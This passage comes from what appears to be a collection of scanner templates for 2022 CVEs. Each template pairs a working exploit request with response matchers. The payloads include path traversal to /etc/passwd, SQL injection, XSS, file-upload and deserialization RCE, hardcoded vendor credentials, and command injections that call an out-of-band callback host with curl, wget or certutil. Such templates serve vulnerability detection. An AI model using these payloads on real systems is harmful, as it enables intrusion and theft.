Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4295","info":{"name":"Show all comments < 7.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type="],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"\")","contains(body, \"Select \")"],"condition":"and"}]}]},{"id":"CVE-2022-42233","info":{"name":"Tenda 11N - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /index.asp HTTP/1.1\nHost: {{Hostname}}\nCookie: admin\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["def_wirelesspassword","Tenda 11N"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["GoAhead-Webs"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26833","info":{"name":"Open Automation Software OAS Platform V16.00.0121 - Missing Authentication","severity":"critical"},"requests":[{"raw":["POST /OASREST/v2/authenticate HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Type: application/json\n\n{\"username\": \"\", \"password\": \"\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"status\":","\"data\":","\"token\":","\"clientid\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32018","info":{"name":"Complete Online Job Search System 1.0 - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2022-27985","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /alerts/alertLightbox.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nurl=components%2Fpermissions%2Flist_permissions_lightbox.php&title=Permissions%3A+profile¶ms%5Bgroup%5D=3'+UNION+ALL+SELECT+md5('{{num}}'),null--+-¶ms%5Breference%5D=41&uniqueClass=new_content_3983163\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40843","info":{"name":"Tenda AC1200 V-W15Ev2 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /goform/downloadSyslog/syslog.log HTTP/1.1\nHost: {{Hostname}}\nCookie: W15Ev2_user=\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["^0\\d{3}$"]},{"type":"word","part":"body","words":["[system]","[error]","[wan1]"],"condition":"or"},{"type":"word","part":"header","words":["Content-type: config/conf"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23178","info":{"name":"Crestron Device - Credentials Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/aj.html?a=devi"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"uname\":","\"upassword\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43169","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_groups/users_groups&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=¬es=&ldap_filter=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-29464","info":{"name":"WSO2 Management - Arbitrary File Upload & Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /fileupload/toolsAny HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311\nContent-Length: 348\n\n-----------------------------250033711231076532771336998311\nContent-Disposition: form-data; name=\"../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower(\"{{randstr}}\")}}.jsp\";filename=\"test.jsp\"\nContent-Type: application/octet-stream\n\n<% out.print(\"WSO2-RCE-CVE-2022-29464\"); %>\n-----------------------------250033711231076532771336998311--\n","GET /authenticationendpoint/{{to_lower(\"{{randstr}}\")}}.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, 'WSO2-RCE-CVE-2022-29464')"]}]}]},{"id":"CVE-2022-30073","info":{"name":"WBCE CMS 1.5.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh={{username}}&password_axh5kevh={{password}}&submit=Login\n","GET /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nformtoken={{formtoken}}&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=\n","GET /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

","WBCECMS"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"formtoken","group":1,"regex":[""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-32429","info":{"name":"MSNSwitch Firmware MNT.2408 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin-hax/ExportSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SSID1"]},{"type":"regex","part":"header","regex":["filename=\"Settings(.*).dat","application/octet-stream"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-33119","info":{"name":"NUUO NVRsolo Video Recorder 03.06.02 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: \"><\"\n\nlanguage=en&user=user&pass=pass&submit=Login\n"],"matchers":[{"type":"dsl","dsl":["contains(header, \"text/html\")","status_code == 200","contains(body,'<\\\"?cmd=')"],"condition":"and"}]}]},{"id":"CVE-2022-0281","info":{"name":"Microweber Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/users/search_authors"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\":","\"email\":","\"display_name\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24681","info":{"name":"ManageEngine ADSelfService Plus <6121 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /servlet/GetProductVersion HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(buildnumber, '< 6121')"]},{"type":"word","part":"body","words":["ManageEngine"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"buildnumber","group":1,"regex":["\"BUILD_NUMBER\":\"([0-9]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-25481","info":{"name":"ThinkPHP 5.0.24 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?s=example"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Exception","REQUEST_TIME","ThinkPHP Constants"],"condition":"and"},{"type":"status","status":[200,500,404],"condition":"or"}]}]},{"id":"CVE-2022-25486","info":{"name":"Cuppa CMS v1.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /alerts/alertConfigField.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurlConfig=../../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44951","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/forms&action=save_tab&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&entities_id=24&name=%3cscript%3ealert(document.domain)%3c%2fscript%3e&description=\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-2486","info":{"name":"Wavlink WN535K2/WN535K3 - OS Command Injection","severity":"critical"},"requests":[{"raw":["GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://{{interactsh-url}};%27 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-24223","info":{"name":"Atom CMS v2.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /admin/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nemail={{randstr}}@gmail.com'+AND+(SELECT+2549+FROM+(SELECT(SLEEP(6)))LIzI)+AND+'uqzM'='uqzM&password={{randstr}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Admin Login\") && contains(body, \"Atom.SaveOnBlur\")"],"condition":"and"}]}]},{"id":"CVE-2022-0760","info":{"name":"WordPress Simple Link Directory <7.7.2 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)\n"],"matchers":[{"type":"dsl","dsl":["duration>=7","status_code == 200 || status_code == 500","contains(content_type, \"text/html\")","contains(body, \"vote_status\") || contains(body, \"critical error\")"],"condition":"and"}]}]},{"id":"CVE-2022-28365","info":{"name":"Reprise License Manager 14.2 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/goforms/rlminfo"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["RLM Version","Platform type"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-30514","info":{"name":"School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /dms/admin/login.php?f=login HTTP/1.1\nHost: {{Hostname}}\n\nusername={{username}}&password={{password}}\n","GET /dms/admin/?s=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["''; alert(document.domain); s='';","School Dormitory Management System"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0679","info":{"name":"WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\n\naction=narnoo_distributor_lib_request&lib_path=/etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28022","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Master.php?f=delete_item HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nid=test'+AND+(SELECT+2844+FROM+(SELECT(SLEEP(6)))FDTM)+AND+'sWZA'='sWZA\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"status\\\":\\\"success\")"],"condition":"and"}]}]},{"id":"CVE-2022-40127","info":{"name":"AirFlow < 2.4.0 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /login/ HTTP/1.1\nHost: {{Hostname}}\n","POST /login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}&_csrf_token={{csrf_token}}\n","@timeout: 15s\nPOST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"conf\": {\n\"dag_run\": \"{{randstr}}\"\n},\n \"dag_run_id\": \"id \\\"&& curl `whoami`.{{interactsh-url}}\",\n \"logical_date\": \"{{date_time(\"%Y-%M-%D\")}}T{{date_time(\"%H:%m:%s\")}}.920Z\"\n\n}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["state\": \"queued\""]},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["type=\"hidden\" value=\"(.*?)\">"],"internal":true}]}]},{"id":"CVE-2022-23881","info":{"name":"ZZZCMS zzzphp 2.1.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /?location=search HTTP/1.1\nHost: {{Hostname}}\nCookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-1598","info":{"name":"WordPress WPQA <5.5 - Improper Access Control","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/asked-question"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"id\":","\"rendered\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1724","info":{"name":"WordPress Simple Membership <4.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"\","]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0482","info":{"name":"Easy!Appointments <1.4.3 - Broken Access Control","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /index.php/backend_api/ajax_get_calendar_events HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\ncsrfToken={{csrf_token}}&startDate=2022-01-01&endDate=2022-01-01\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"appointments\":","\"unavailables\":"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"kval","name":"csrf_token","internal":true,"kval":["csrfCookie"],"part":"header"}]}]},{"id":"CVE-2022-31879","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /admin/?page=reports&date=2022-05-24-6'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Dashboard\")"],"condition":"and"}]}]},{"id":"CVE-2022-38817","info":{"name":"Dapr Dashboard 0.1.0-0.10.0 - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/components/statestore","{{BaseURL}}/overview","{{BaseURL}}/controlplane"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Dapr Dashboard"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28219","info":{"name":"Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/api/agent/tabs/agentData"],"body":"[\n {\n \"DomainName\": \"{{Host}}\",\n \"EventCode\": 4688,\n \"EventType\": 0,\n \"TimeGenerated\": 0,\n \"Task Content\": \" %xxe; ]>\"\n }\n]\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["ManageEngine"]}]}]},{"id":"CVE-2022-41840","info":{"name":"Welcart eCommerce <=2.7.7 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0660","info":{"name":"Microweber <1.2.11 - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /module/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}admin/view:comments\n\nclass=+module+module-comments-manage+&id=mw_admin_posts_with_comments&data-type=comments%2Fmanage&parent-module-id=mw-main-module-backend&parent-module=comments&data-search-keyword={{randstr}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2,'QueryException')","contains(body_2,'SQLSTATE')","contains(body_2,'runQueryCallback')","contains(header_2,\"text/html\")","status_code_2==500"],"condition":"and"}]}]},{"id":"CVE-2022-34576","info":{"name":"WAVLINK WN535 G3 - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportAllSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","words":["Login=","Password=","Model=","AuthMode="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3578","info":{"name":"WordPress ProfileGrid <5.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=pm_add_group&id=\">&tab\")"],"condition":"and"}]}]},{"id":"CVE-2022-2187","info":{"name":"WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Contact Form 7"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32028","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"skip-variables-check":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31269","info":{"name":"Linear eMerge E3-Series - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/test.txt"],"matchers-condition":"and","matchers":[{"type":"word","words":["ID=","Password="],"condition":"and"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["Password='(.+?)'"]}]}]},{"id":"CVE-2022-0148","info":{"name":"WordPress All-in-one Floating Contact Form <2.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29+x HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25487","info":{"name":"Atom CMS v2.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /admin/uploads.php?id=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041\n\n-----------------------------30623082103363803402542706041\nContent-Disposition: form-data; name=\"file\"\n\n\n-----------------------------30623082103363803402542706041\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\nContent-Type: image/jpeg\n\n\n\n-----------------------------30623082103363803402542706041--\n","GET /uploads/{{filename}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["7ee3686858eb89dd68ccf85f0ea03abe"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"filename","group":1,"regex":["SET avatar = '(.*?)'"],"internal":true}]}]},{"id":"CVE-2022-31798","info":{"name":"Nortek Linear eMerge E3-Series - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[",\"CardFormatNo\":\"\"}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0885","info":{"name":"Member Hero <=1.0.9 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo"],"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version","PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2022-47986","info":{"name":"IBM Aspera Faspex <=4.4.2 PL1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /aspera/faspex/package_relay/relay_package HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"package_file_list\": [\"/\"], \"external_emails\": \"\\n---\\n- !ruby/object:Gem::Installer\\n i: x\\n- !ruby/object:Gem::SpecFetcher\\n i: y\\n- !ruby/object:Gem::Requirement\\n requirements:\\n !ruby/object:Gem::Package::TarReader\\n io: &1 !ruby/object:Net::BufferedIO\\n io: &1 !ruby/object:Gem::Package::TarReader::Entry\\n read: 0\\n header: \\\"pew\\\"\\n debug_output: &1 !ruby/object:Net::WriteAdapter\\n socket: &1 !ruby/object:PrettyPrint\\n output: !ruby/object:Net::WriteAdapter\\n socket: &1 !ruby/module \\\"Kernel\\\"\\n method_id: :eval\\n newline: \\\"throw `id`\\\"\\n buffer: {}\\n group_stack:\\n - !ruby/object:PrettyPrint::Group\\n break: true\\n method_id: :breakable\\n\", \"package_name\": \"{{rand_base(4)}}\", \"package_note\": \"{{randstr}}\", \"original_sender_name\": \"{{randstr}}\", \"package_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"metadata_human_readable\": \"Yes\", \"forward\": \"pew\", \"metadata_json\": \"{}\", \"delivery_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"delivery_sender_name\": \"{{rand_base(8)}}\", \"delivery_title\": \"{{rand_base(4)}}\", \"delivery_note\": \"{{rand_base(4)}}\", \"delete_after_download\": true, \"delete_after_download_condition\": \"IDK\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","regex":["uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-31656","info":{"name":"VMware - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43185","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=holidays/holidays&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_date=2023-05-22&end_date=2023-05-31\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-35413","info":{"name":"WAPPLES Web Application Firewall <=6.0 - Hardcoded Credentials","severity":"critical"},"requests":[{"raw":["POST /webapi/auth HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid={{username}}&password={{password}}\n"],"payloads":{"username":["systemi"],"password":["db/wp.no1"]},"attack":"pitchfork","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"res_msg\":\"Authentication Success.\"","\"doc_id\":\"user_systemi\""],"condition":"and"},{"type":"word","part":"header","words":["WP_SESSID="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24112","info":{"name":"Apache APISIX - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /apisix/batch-requests HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\n\n{\n \"headers\":{\n \"X-Real-IP\":\"127.0.0.1\",\n \"Content-Type\":\"application/json\"\n },\n \"timeout\":1500,\n \"pipeline\":[\n {\n \"method\":\"PUT\",\n \"path\":\"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1\",\n \"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"/api/{{randstr}}\\\",\\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"filter_func\\\": \\\"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\\\"}\"\n }\n ]\n}\n","GET /api/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["\"reason\":\"OK\"","\"status\":200"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["GET \\/([a-z-]+) HTTP"],"part":"interactsh_request"}]}]},{"id":"CVE-2022-29299","info":{"name":"SolarView Compact 6.00 - 'time_begin' Cross-Site 